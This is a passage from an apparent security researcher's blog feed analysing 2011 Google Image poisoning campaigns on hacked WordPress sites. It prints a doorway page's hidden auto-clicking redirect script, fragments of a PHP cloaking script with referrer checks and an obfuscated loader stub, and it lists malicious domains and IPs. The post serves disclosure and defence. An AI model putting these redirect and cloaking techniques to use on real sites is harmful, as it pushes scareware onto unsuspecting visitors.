<p>Although that wave of the black hat SEO campaign has been idle for at least a couple of months now, many of the compromised sites still contain malicious web pages. As in the most recent attack, they only redirect visitors to scareware sites if they come from Google Images search (clicking on web search results won&#8217;t trigger the redirect.)</p>
<h4>Redirects</h4>
<p>For visitors from Google Images, the doorway generate a page with an invisible form and a JavaScript that automatically clicks on the form button, which effectively redirects a browser to a Fake AV site:</p>
<p><code>&lt;html&gt;&lt;head&gt;<br />
&lt;script&gt;<br />
function TDov(){setTi meout('ob()', 1);document.getElementById('go').<strong>click</strong>();}<br />
function F99FAEE4E1A331A7595932B7C18F9F5F6(){try{history.forward();}catch(e){}setTim eout('ob()', 10);}<br />
&lt;/script&gt;<br />
&lt;/head&gt;&lt;body onLoad='TDov()'&gt;<br />
&lt;<strong>form</strong> action='hxxp://<strong>atomiccanyon .com</strong>/BrightonFestival2009/xmlrpc.php?<strong>k</strong>=fredericksburg+tx+historic+district+map&amp;<strong>s</strong>=google&amp;<strong>r</strong>=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3<strong>...skipped..</strong>' method='POST' target='_top'&gt;<br />
&lt;button type='submit' id='go' style='<strong>visibility:hidden</strong>'&gt;&lt;/button&gt;&lt;/form&gt;<br />
&lt;/body&gt;&lt;/html&gt;</code></p>
<p>As you can see, the URL structure resembles the structure of <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#redirects">the first URL in the redirect chain</a> of the ongoing attack.</p>
<p>Some of the sites also use a similar form URL on the <em><span style="color: #993300;"><strong>cricketfunde .com</strong></span></em> domain.</p>
<p>Then, this intermediary URL redirects visitors to actual fake AV sites. Currently, they use multiple <em><span style="color: #993300;"><strong>*.rr.nu</strong></span></em> domains:</p>
<ul>
<li><span style="color: #993300;">hxxp://<strong>www4.powersecurityex .rr .nu</strong>/?hch86z0i65=jNjRnHOtYpxcpdnTtJiY59nPst&#8230;</span></li>
<li><span style="color: #993300;">hxxp://<strong>www3. powergcjsentinel .rr .nu</strong>/?39gnl9=V67Q0qlrqKad1dvLoJ2Z2eLgpqCWoWie&#8230;</span></li>
<li><span style="color: #993300;">hxxp://<strong>www1 .simplecwahscanner .rr .nu</strong>/2dgnv5l5k?4h6xtulyq2=WNKj2%&#8230;.</span></li>
</ul>
<p>They seem to be changing every day. Old domain expire quite quickly. When I last checked, they used the <strong>79 .133 .196 .117</strong> address.</p>
<h4 id="malware">Malware</h4>
<p>The binary download begins from a different (although similar) domain:</p>
<ul>
<li>hxxp://<strong>www2 .thebest-mhcleaner .rr .nu</strong>/<strong>duqr211_323.php</strong>?xw0lonwp=nOGdz%2B&#8230;%3D%3D</li>
<li>hxxp://<strong>www2 .bestsuitehri .rr .nu</strong>/<strong>yvbt211_323.php</strong>?o5aayuuvor=k63E0Lbu&#8230;%3D%3D</li>
</ul>
<p>The downloaded file have names like <a href="http://www.virustotal.com/file-scan/report.html?id=79445aa09ed88199b759aff8d79f1eaf476d00f7f376e87258d4340c60207dd4-1313092439" target="_blank">fix_pack107d_323.exe</a> and <a href="http://www.virustotal.com/file-scan/report.html?id=2fb82914c773d8ef63e45b7eb819a36d80903b95ec5b35f27941fe689653b71f-1313169909" target="_blank">fix_pack211d_323.exe</a> (links to VirusTotal reports) and their detection rates are usually less than <strong>30</strong>%.  I <a href="http://www.virustotal.com/file-scan/report.html?id=79445aa09ed88199b759aff8d79f1eaf476d00f7f376e87258d4340c60207dd4-1313171214" target="_blank">rechecked one file 20 hours later</a> and it&#8217;s detection rate improved from <strong>27</strong>% to <strong>33</strong>% &#8211; by that time the malicious server began to serve a different variation of the same file.</p>
<h4 id="mac">Redirects for Macs</h4>
<p>For Mac users, the redirect chain is different:</p>
<p><span style="color: #993300;"><strong>www4 .powersecurityex .rr .nu</strong></span> -&gt; <span style="color: #993300;"><strong>rdr .cz .cc</strong>/go.php?7&amp;said=323</span> -&gt;  <span style="color: #993300;"><strong>www .moviedir .com</strong>/1093251</span></p>
<p>By the way, the <span style="color: #993300;"><em><strong>moviedir</strong></em></span> site has Google PageRank <strong>4</strong>. And it shouldn&#8217;t be a surprise that many of its backlinks are from hacked sites.</p>
<h3 id="google">Google strikes back</h3>
<p>While hacked site still contain malicious code and may redirect Image searches to dangerous sites, Google has done a great job to mitigate the problem and removed the doorway page from its index.</p>
<p>I checked many hacked sites using the <strong>site:</strong> operator in Google search. Only very few of them had indexed doorways. And even when I could find links to doorways in web search results, Image search results for the same sites were free from poisoned images! (I have a feeling that for some hacked sites Google removed legitimate images as well)</p>
<p>I have also noticed the &#8220;<em>This site may be compromised</em>&#8221; warning on search results for home pages of many hacked sites.</p>
<p>At this time, both generations of this particular Google Image poisoning campaign seem to be neutralized by Google. Good job!</p>
<p><span style="color: #333333;">##</span><br />
Removing poisoned links from search result doesn&#8217;t completely solves the problem. There are still thousands of compromised sites that criminals can reuse for different attacks. Moreover, I still don&#8217;t have reliable information about the attack vector (what security holes hackers exploit and how they integrate malicious code into legitimate websites), so millions of WordPress blogs and Joomla sites are potentially vulnerable to similar attacks. If you have any information, please share it in comments or <a href="http://blog.unmaskparasites.com/contact/">contact me directly</a>.</p>
<p>If you work in a security department of a large shared hosting provider, <a href="http://blog.unmaskparasites.com/contact/">please contact me</a>. The chances are I know some compromised sites on your servers (<strong>5,000+</strong> sites on my list,  typically 1-2 sites per IP, but sometimes up to 300). Together we can find out what&#8217;s going on.</p>
<p>Thank you!</p>
<p><span style="color: #808080;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Thousands of Hacked Sites Seriously Poison Google Image Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Hacked WordPress Blogs Poison Google Images</title>
		<link>http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#comments</comments>
		<pubDate>Fri, 05 Aug 2011 19:03:59 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[timthumb.php]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=823</guid>
		<description><![CDATA[After a series of posts about Google Image poisoning campaigns that used hot-linked images a main trick to get top positions in search results, I&#8217;d like to describe a different Google Image poisoning attack that affects WordPress blogs and uses self-hosted images.

I found 4,358 self-hosted WordPress blogs that contained many (usually more than 100) doorway [...]]]></description>
			<content:encoded><![CDATA[<p>After a series of posts about <a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Google Image poisoning</a> <a href="http://blog.unmaskparasites.com/2011/07/21/tattoo-ideas-for-spammers/">campaigns</a> that used hot-linked images a main trick to get top positions in search results, I&#8217;d like to describe a different Google Image poisoning attack that affects WordPress blogs and uses self-hosted images.<br />
<span id="more-823"></span><br />
I found <strong>4,358</strong> self-hosted WordPress blogs that contained many (usually more than 100) doorway pages that redirected visitors coming from Google Image search to fake AV sites.</p>
<p>Those doorway pages can be easily identified:</p>
<h3 id="pattern">Doorway URL pattern</h3>
<p>They have the following URL pattern: <span style="color: #993300;">hxxp://&lt;hacked-wordpress-blog.com&gt;/?[a-f]{3}=&lt;keywords&gt;</span> , where <span style="color: #993300;">[a-f]{3}</span> is a combination of three letters &#8220;<strong>a</strong>&#8221; through &#8220;<strong>f</strong>&#8221; and the <span style="color: #993300;">&lt;keywords&gt;</span> is a hyphen-separated combination of keywords that contain either word <strong><em>picture</em></strong> or <em><strong>pictures</strong></em>. Here are some examples:</p>
<p style="padding-left: 30px;">hxxp://example.com/?<strong>fef=pictures-of-mitzi-mueller-wrestling</strong><br />
hxxp://example.net/?<strong>cda=tropical-fruits-picture-index</strong></p>
<h3 id="image_files">Spammy image files</h3>
<p>Doorway pages use a normal template of the hacked WordPress blogs, but their original content is replaced with twenty something &#8220;thumbnails&#8221; and short text snippets relevant to <span style="color: #993300;">&lt;keywords&gt;</span> searches.</p>
<p>The images are not hot-linked. Both thumbnails and links to &#8220;full-sized&#8221; images have URLs that look like this:</p>
<p><span style="color: #993300;">/?[a-f]{3}=&lt;keywords&gt;&lt;encrypted-key&gt;&lt;short-name&gt;.jpg</span></p>
<p>for example:</p>
<p><code>/?fec=pictures-of-blagojovich-arrested-Eun8671l43WGQNUa7rKWUdG/5d60kf6AQ4VM4KfPdbfaMro2PNRMVlYmniC50Kh6SJdwMkeSz7s19kggH0WT4j_AYuW36OEWyfkABshi/Tk5R16sYiKUfS8OJGDZ_K7p/WoYUNZZ_Q==uek.jpg</code></p>
<p>At the top of the images you can see an inscription &#8212; the domain name of the hacked site. This way criminals set their seal to the images to make them look like an original content of that site, not stolen images. At the same time this artifact can help identify poisoned image search results and avoid clicking on them.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/seal-at-the-top-of-the-images.jpg" border="0" alt="seal at the top of the images" /></div>
<p>The image files contain the following string inside: <strong>&lt;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100</strong>. This means that they were created using the <a href="http://en.wikipedia.org/wiki/GD_Graphics_Library">GD Graphics library</a>.</p>
<p>In my understanding, hackers use a PHP script to fetch top rated images (returned by Google Images search), resize them to &#8220;tbumbnail-size&#8221; (width: 200-300 pixels) and to &#8220;full-size&#8221;  (some random size &#8211; may even be larger that the original image) and finally add the domain name stamp.</p>
<h3 id="timestamps">Timestamps</h3>
<p>At the very bottom of the HTML code of the doorway pages you can see comments like this:</p>
<p><code>&lt;!-- 7/24/2011 4:30:03 PM --&gt;&lt;!-- new england railroad pictures --&gt;</code></p>
<p>The timestamp and the targeted keywords (they match the &lt;keywords&gt; part of the URL). This way you can easily see when the doorway was generated.</p>
<h3 id="redirects">Redirects</h3>
<p>The doorway pages rank quite well for some keywords both in Google Web search and Google Images search (especially when you are searching for exact phrases). However the malicious redirects occur only when you click on Google Images search results, which proves that Google Images poisoning is the main goal of this black-hat SEO campaign.</p>
<p>The redirects have two stages. The first redirect goes to an intermediary server (TDS) that, in turn, redirects to a landing pages that pushes a fake anti-virus tool (I&#8217;ve seen two different variations of the fake AV pages).</p>
<p>Here&#8217;s a real redirect chain:</p>
<p><code>302-&gt;hxxp://<strong>video.bywhy .com</strong>/?<strong>k</strong>=girdles+pictures&amp;<strong>s</strong>=google&amp;<strong>r</strong>=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3Dhttp%3A%2F%2Fbcsmusic.me%2F%253Fbdd%253Dgirdles-pictures-Vyhynx%2FbFO_9rUEvfK72isOTIVpmnmzLxnzp51gHqzVXi5I5jE2lyrsssMFcfbwOFoXk3VR8TwxTQeexe%2FonLd6RPIG_M6hkLQMh6ACctX4kzsuwbN5w_6YOYxZYj1AJQl1OBCXNjPYQoA%253D%253Dxy5.jpg%26imgrefurl%3Dhttp%3A%2F%2Fbcsmusic.me%2F%253Fbdd%253Dgirdles-pictures%26usg%3D__6ho2Rtl5S4GcwInf2xzUhPN4vkI%3D%26h%3D439%26w%3D262%26sz%3D98%26hl%3Den%26start%3D19%26zoom%3D1%26um%3D1%26itbs%3D1%26tbnid%3DoHNHWFmQjxIwqM%3A%26tbnh%3D127%26tbnw%3D76%26prev%3D%2Fsearch%253Fq%253Dsite%3Abcsmusic.me%2526um%253D1%2526hl%253Den%2526sa%253DN%2526channel%253Dfs%2526biw%253D1222%2526bih%253D260%2526tbm%253Disch%26ei%3DnU80TtGDG4mE-wa5vPH9DA&amp;d=http%3A%2F%2Fbcsmusic.me%2F%3Fbdd%3Dgirdles-pictures<br />
302-&gt;hxxp://<strong>update34.svernick .in</strong>/index.php?Q0rhQ9S3be5GTHpOM5RNjiUpBaa7CmPerSb+VBBE57iCXCC1iDs+XgOe4qXsg1ggs5uk7Ck1GcwyRZ2vqM7MPVofO5WM3eBmP5tRpBeBu/kPphowRYvnTq2+4BmHNg==</code></p>
<p>As you can see, the TDS server receives information about the keywords, source, and the actual referring URL.</p>
<p>The intermediary domains change every day. They actually belong to other hacked sites (mostly WordPress blogs)</p>
<p>Here are just a few domain names of the intermediary TDS sites used in this attack:</p>
<ul>
<li>video.bywhy .com</li>
<li>ppopo2.bget .ru</li>
<li>awalstudios .com</li>
<li>demo.hireindians .net</li>
<li>www.privatepilot .hu</li>
<li>footballgirdles .tk</li>
</ul>
<p>The domain name of a landing page consists of a <strong>.in</strong> domain that changes every day and some random <em>&#8220;updateNN</em>&#8221; or &#8220;<em>scanNN</em>&#8221; subdomain, e.g. <em><span style="color: #993300;"><strong>update82.yourscan .in</strong></span></em> or &#8220;<strong><span style="color: #993300;"><em>scan73.moomles .in</em></span></strong>&#8221;</p>
<p>Here are a few <strong>.in</strong> domains of the fake AV sites used in this attack:</p>
<ul>
<li>spelleit .in</li>
<li>svernick .in</li>
<li>senerino .in</li>
<li>moomles .in</li>
<li>klopster .in</li>
<li>bastandro .in</li>
<li>waspeeds .in</li>
<li>yourscan .in</li>
<li>x-scan .in</li>
</ul>
<p>Most of the<strong> .in</strong> sites point to the <strong>193 .105 .154 .31</strong> IP address (United Kingdom,		        		        Ars Tolerantia, with Latvian contact information).</p>
<h3 id="detection">Detection rate</h3>
<p>The fake AV sites push scareware <strong>.exe</strong> with names like  <em>InstallSecurityScanner_NNN.exe</em>, e.g. <span style="color: #993300;"><em><strong>InstallSecurityScanner_225.exe</strong></em></span>. These files are being repackaged every day and their detection rate (according to VirusTotal) is quite low. The typical detection rate for currently served files is <a href="http://www.virustotal.com/file-scan/report.html?id=e7031a345da49c526943a220f4b5d98e7195fd726652099d0564aefd6119b5d6-1312050907" target="_blank">8/43 (18.6%)</a>. It usually improves to <a href="http://www.virustotal.com/file-scan/report.html?id=e7031a345da49c526943a220f4b5d98e7195fd726652099d0564aefd6119b5d6-1312140454" target="_blank">35%-50%</a> by the time when the malicious file is no longer in use and a new file with a low detection rate is being served by the fake AV server.</p>
<p>Out of <strong>4,358 </strong>checked <strong> </strong> compromised sites, Google currently flags (or recently flagged) less than <strong>5%</strong> of them. Typical Safe Browsing diagnostic page says something like this:</p>
<blockquote><p>Malicious software is hosted on 2 domain(s), including <span style="color: #993300;">bastandro .in/</span>, <span style="color: #993300;">senerino .in/</span>.</p>
<p>3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <span style="color: #993300;">hireindians .net/</span>, <span style="color: #993300;">awalstudios .com/</span>, <span style="color: #993300;">bywhy .com/</span>.</p></blockquote>
<p><span id="update2" style="color: #808080;"><strong> Update (Aug 10, 2011):</strong></span></p>
<ol>
<li>There are more than <strong>4,358</strong> hacked WP sites (found a few more)</li>
<li>After I sent them my lists and additional information, <strong>Google has removed those doorway pages on hacked sites from index</strong> (both web search and image search).</li>
<li>Hackers have injected hidden links that point to the doorway pages on the same sites into legitimate web pages of the hacked WP blogs. The links are cloaked (visible to search engine crawlers only). I believe they are injected into WordPress theme files (most likely <em>footer.php</em>).</li>
<li>I still haven&#8217;t receive a single response neither from webmasters of the hacked sites nor from their hosting providers. Hey, your information can help thousands of WordPress bloggers!</li>
<li>I found some <a href="http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/">additional information about this attack</a>. More about it later. Stay tuned! (<a href="http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/">Published</a>)</li>
</ol>
<h3 id="hiccups">Hiccups in serving malware</h3>
<p>Starting this week, I noticed multiple hiccups in this attack.</p>
<p>On Tuesday, TDS generated redirects that missed domain name part in URLs of the fake AV sites. E.g.</p>
<p><span style="color: #993300;">hxxp://scan15./index.php?QwrhS9RYbcxGhnpcM45NtCWyBT&#8230;RcrnQq2F4MWHYQ==</span></p>
<p>As you can see, everything else is in place, except for the <strong></strong>domain name. It looked as if the criminals ran out of the domain names (most of them were registered on July 20th) or forgot to specify a new domain for a new day.</p>
<p>Nonetheless, on Wednesday, the URL generation process was restored. However the landing pages wouldn&#8217;t open (at least for me).  At the same time, when I opened the root page of the fake AV site (e.g.  <em><span style="color: #993300;">hxxp://scan36.bastandro .in</span></em>, <span style="color: #993300;"><em>hxxp://bastandro .in</em></span> or even simply <span style="color: #993300;"><em>hxxp://193 .105 .154 .31</em></span>) the malicious download would start automatically.</p>
<p>On Friday, I see a different hiccup. The TDS redirects to a newly registered domain (August 4th)</p>
<p><span style="color: #993300;">hxxp://update82.<strong>yourscan .in</strong>/index.php?Q+Xh59RmbVNGM3p&#8230;fnk6164ISHXQ==</span></p>
<p>that points to a different IP address (<strong>46 .4 .161 .228</strong>) and that server seems to be down. At the same time, the <strong>193 .105 .154 .31</strong> server still automatically starts malicious downloads if you visit it, but the download size is <strong>0</strong> bytes.</p>
<p>I wonder if all these hiccups have to do with the crisis of the fake AV industry that Brian Krebs describes in his <a href="http://krebsonsecurity.com/2011/08/fake-antivirus-industry-down-but-not-out/">recent post</a>.</p>
<blockquote><p>&#8220;During the past few weeks, some top fake AV promotion programs either  disappeared or complained of difficulty in processing credit card  transactions for would-be scareware victims&#8221;</p></blockquote>
<p>If this is true, we should expect the hacked sites will eventually try to monetize search traffic some different way.</p>
<p><span id="update1" style="color: #808080;"><strong>Update (Aug 8, 2011):</strong></span> A new hiccup today.  The landing page is on <em><span style="color: #993300;">updateNN.x-scan .in</span></em> site. While <em><span style="color: #993300;">x-scan .in</span></em> (<strong>193 .105 .154 .31</strong>) is up and serves an <a href="http://www.virustotal.com/file-scan/report.html?id=414c31bc021f2737a2d47c129742d42bf54159b2bb33955e2a7345ae1dd05916-1312781106" target="_blank">updated .exe</a> file, its subdomains won&#8217;t resolve. What&#8217;s going on?</p>
<h3 id="work">How the hack works</h3>
<p>At this point I couldn&#8217;t find cooperative webmasters of the hacked WordPress blogs that would share internal details of the hack. Nonetheless, my black box testing approach allows me to make some conclusions.</p>
<h4 id="narrowing">Narrowing down</h4>
<p>The hacked sites belong to different people and are hosted by different hosting providers. Other sites (both WP and non-WP) on the same servers are not affected. They are all WordPress blogs. Many of them are up-to-date (run the latest version of WordPress). So it&#8217;s neither a server-wide hack, nor an intrusion via stolen site credentials (otherwise we&#8217;d see many non-WP sites). At the same time, it is not a core WP hack. In my experience, this usually means that hackers used some backdoor script.</p>
<h4 id="hole">Where is the security hole?</h4>
<p>The backdoor script might have been uploaded using vulnerabilities in WordPress themes or plugins. For exapmple, many of the hacked sites (not all though) use themes that include a <strong>timthumb.php</strong> file that is <a href="http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/">known to have a security hole</a> <a href="http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/">that allows attackers to upload .php files </a> to a server.</p>
<p>Actually, this is where webmasters of compromised sites can help me. Usually a log analysis + a server scan can provide a very reliable information about the attack vector: vulnerable files and backdoor scripts. Please, <a href="http://blog.unmaskparasites.com/contact/">contact me</a> if you have raw access logs for July.</p>
<h4 id="htaccess">.htaccess</h4>
<p>Sometimes, I saw two different blogs on the same server (and most likely under the same user account) with the same doorway pages. Moreover, while blogs themselves looked different, the doorway pages used a template  of only one of those sites and had links to that site only.</p>
<p>I think this happens because hackers created a <strong>.htaccess</strong> files with rewrite rules above the site root (quite a prevalent trick with .htaccess hacks). The rewrite rules map the doorway URLs to some .php script.</p>
<h4 id="caching">Caching</h4>
<p>All doorway pages and images are cached somewhere on the server. Unlike other SEO poisoning attacks that I wrote about, they are not generated on the fly. If you specify some different keywords in the URL, you will get a 404 error. Moreover this 404 error will be different than normal 404 error pages of the hacked sites.</p>
<p>Another proof that the spammy content is cached and is not injected at the run-time into live WordPress pages is the timestamps at the bottom of the HTML code and old articles in the &#8220;Recent Posts&#8221; section. On some sites, instead of a real site template, they use a pre-built empty Kubrick template with the fingerprint that doesn&#8217;t change from site to site (<em>WordPress 2.3.1, 22 queries,  0.912 seconds</em>)</p>
<p><strong>Rounding up</strong>: If I were a webmaster of one of those hacked sites, I would start looking for rogue rules in .htaccess files in the site root and above the site root directory. The rewrite rules should point to a doorway script. Then the script should point to a cache directory with all the html and jpg files. Then I would try to analyze access logs and scan files on server to <a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/#backdoors">find backdoor scripts</a> and security holes.</p>
<h3 id="webmasters">To webmasters</h3>
<p>Creating doorway pages on legitimate websites is quite a prevalent reason behind website hacks. Make sure your site doesn&#8217;t contain rogue web pages.</p>
<p>Regularly check statistics for suspicious requests.  In this particular case you can even use JavaScript-based services like Google Analytics since hackers don&#8217;t remove your scripts from page templates and not all user requests get immediately redirected to malicious sites &#8212; e.g. people may actually open the doorway pages when the click on Google web search results (not image search results). However, raw logs will show more accurate information.</p>
<p>You should also check Google Webmaster Tools for suspicious search queries and indexed pages.</p>
<p>Make sure your WordPress is up-to-date. All themes and plugins come from trusted sources and don&#8217;t contain known security holes (check their websites, google them). If your themes or/and plugins use the <strong>timthumb.php</strong> file, consider<a href="http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php"> updating this file</a> (Its developers are <a href="http://code.google.com/p/timthumb/source/list">currently actively improving the security</a>).</p>
<p><span style="color: #333333;">##</span><br />
If you have any details about internals of this attack and especially the security hole, please <a href="#respond">leave your comment</a> below or <a href="http://blog.unmaskparasites.com/contact/">contact me</a> directly. It would also be interesting to hear your thoughts about the <a href="#hiccups">hiccups</a> of this attack (and whether they are really hiccups).</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/">Following the Black Hat SEO Traces</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Thousands of Hacked Sites Seriously Poison Google Image Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/07/21/tattoo-ideas-for-spammers/">Tattoo Ideas For … Spammers</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Hackers Abuse Servage Hosting to Poison Google Image Search</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Google Image Poisoning. What&#8217;s New in June?</title>
		<link>http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/</link>
		<comments>http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 16:28:56 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[doorway]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[ning]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[safe browsing]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=809</guid>
		<description><![CDATA[This is the second (more techie) part in the series of posts about a new wave of the Google Image poisoning attack. This part will heavily refer to the detailed description of the attack that I made back in May. Most of the aspects are still true so I will only talk about changes here. [...]]]></description>
			<content:encoded><![CDATA[<p>This is the second (more techie) part in the <a href="http://blog.unmaskparasites.com/2011/06/23/google-image-poisoning-mitigation-and-the-new-wave/">series of posts</a> about a new wave of the Google Image poisoning attack. This part will heavily refer to the <a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/#detailed">detailed description</a> of the attack that I made back in May. Most of the aspects are still true so I will only talk about changes here. If you want to have a complete picture, I suggest that you read the original description first.</p>
<h3 id="changed">Changed doorway behavior</h3>
<p>After May 18th, I noticed that doorway pages no longer redirected me anywhere when I clicked on poisoned search results. Neither to bad sites nor to home pages of compromised sites. Instead they displayed the spammy content generated for search engine crawlers only.</p>
<p>That was strange. That could never happen if the old algorithm was still in use.</p>
<p>Then I checked the cache directories (<span style="color: #993300;">./.log/<em>compromiseddomain.com/</em></span>) and found new maintenance files there: <span style="color: #993300;"><strong><em>don.txt</em></strong></span> and <strong><em><span style="color: #993300;">xml.txt</span></em></strong>. The <em><span style="color: #993300;">don.txt</span></em> file contained HTML template of spammy pages and was a replacement for the <span style="color: #993300;"><em>shab100500.txt</em></span> file used by the original algorithm. The <span style="color: #993300;"><em>xml.txt</em></span> contained the following string: <span style="color: #993300;"><strong>bG92ZS1ibG9nY29tLm5ldA==</strong></span>, which decoded (base64) to &#8220;<strong><span style="color: #993300;"><em>love-blogcom.net</em></span></strong>&#8220;. It was clear it was a more secure replacement for <span style="color: #993300;"><em>xmlrpc.txt</em></span> that stored the domain name of a remote malicious server in plain text.</p>
<p>A few days later, the <span style="color: #993300;"><em>xml.txt</em></span> files was replaced by <strong><em><span style="color: #993300;">xml.cgi</span></em></strong>, which was a clever step since<strong> .cgi</strong> files produce server errors when you try to open them in directories that aren&#8217;t configured to execute CGI scripts.</p>
<p>So I knew that the doorway script was updated, but I couldn&#8217;t understand why the doorways exhibited no malicious behavior when I clicked on hijacked image search results. That didn&#8217;t make much sense. What was the purpose of showing those spammy unintelligible pages without trying to monetize the traffic? The only plausible idea was they were playing the &#8220;long game&#8221; and needed some time to have the new pages rank well without risks of being identified as cloaked or malicious content, and when many pages reach prominent positions in search results they&#8217;ll start redirect web searchers to bad sites. Well, that was a working hypothesis  until I got the source code of the new doorway script. The reality is crooks don&#8217;t want to play &#8220;long games&#8221; if they can monetize right away &#8211; the new doorway pages did redirect to bad site but my virtual environment wasn&#8217;t properly configured to trigger the redirects.<br />
<span id="more-809"></span></p>
<h3 id="dissecting">Dissecting the updated Google Image poisoning attack</h3>
<p>So let me tell you what exactly has changed in this script and how those changes affect web searchers and Google.</p>
<p>The file is similarly obfuscated:</p>
<p><code>&lt;?php print(gzuncompress(base64_decode('eNqNWG1v4kYQ/.../AW9Zhls='))); ?&gt;</code></p>
<p>and the overall algorithm looks pretty much the same. But when you look into details you&#8217;ll soon see the key changes</p>
<h3 id="google_only">Google is the only target</h3>
<p>While the previous version targeted visitors from Google, Yahoo and Bing</p>
<p><code>if ( strpos( $_SERVER["HTTP_REFERER"], "<strong>google.</strong>") || "strpos"( $_SERVER["HTTP_REFERER"], "<strong>yahoo.</strong>" ) || "strpos"( $_SERVER["HTTP_REFERER"], "<strong>bing.</strong>" )&gt; 0 ) {...</code></p>
<p>the new version is only interested in visitors from Google</p>
<p><code>if ( strpos( $_SERVER["HTTP_REFERER"], "<strong>google.</strong>" ) &gt; 0 ) {...</code></p>
<p>It looks like traffic from Yahoo and Bing is so negligible that it isn&#8217;t worth the effort.</p>
<h3>New redirection system</h3>
<p>Now the answer why I couldn&#8217;t trigger malicious redirects.</p>
<p>In the previous version, to trigger the redirect, it was enough to be a human visitor (not a known bot) coming from major search engines and your search query should not contain the &#8220;<strong>site:</strong>&#8221; operator. There was a fixed redirect script in the <span style="color: #993300;"><em>iog.txt</em></span> file that changed roughly every 30 minutes and within that time all visitors were being redirected to the same intermediate traffic direction system (TDS) server.</p>
<p>The new redirect mechanism is more flexible and sophisticated:</p>
<h4 id="tds">Built-in TDS functionality</h4>
<p>If the request looks eligible (comes from Google and the search query doesn&#8217;t contain the &#8220;<strong>site:</strong>&#8221; operator), the script tries to obtain a redirect URL from a remote server. That remote server decides in real time, whether that particular visitor should be redirected and where.</p>
<p>The domain name of that remote server is stored as a base64-encoded string in the <em><strong><span style="color: #993300;">xml.cgi</span></strong></em> file. By default, it is <em><strong><span style="color: #993300;">mydiarycom.net</span></strong></em> (base64:<span style="color: #993300;">bXlkaWFyeWNvbS5uZXQ=</span>).</p>
<p>The request for the redirect URL goes to <span style="color: #993300;">hxxp://mydiarycom.net/out/stat.cgi?parameter?=&#8230;</span> . In parameters, it passes all the pertinent information about the visitor and the doorway site:</p>
<ul>
<li>the domain name of the doorway site</li>
<li>the full URL of this doorway script (there may be several scripts on the same server)</li>
<li>the visitor&#8217;s IP address</li>
<li>the referring URL (in this case Google search URL)</li>
<li>the User-Agent string of the visitor&#8217;s browser</li>
<li>the search query that was used on Google to find this doorway</li>
</ul>
<p>It is easy to see benefits of this new approach.</p>
<p>It allows to collect important statistics on the <span style="color: #993300;"><em><strong>mydiarycom.net</strong></em></span> server. For example, now the attackers can see what search queries people use to find doorway pages (previously they could only guess based on URLs of referring doorway pages, which rarely were exact matches of Google searches ).</p>
<p>What&#8217;s more important, now they have a centralized system that manages redirects throughout all doorway sites. No need to update <span style="color: #993300;"><em>iog.txt</em></span> files on each site. No need to update the whole script if they decide to change something (e.g. blacklist some IP addresses or redirect visitors to country-specific landing pages)</p>
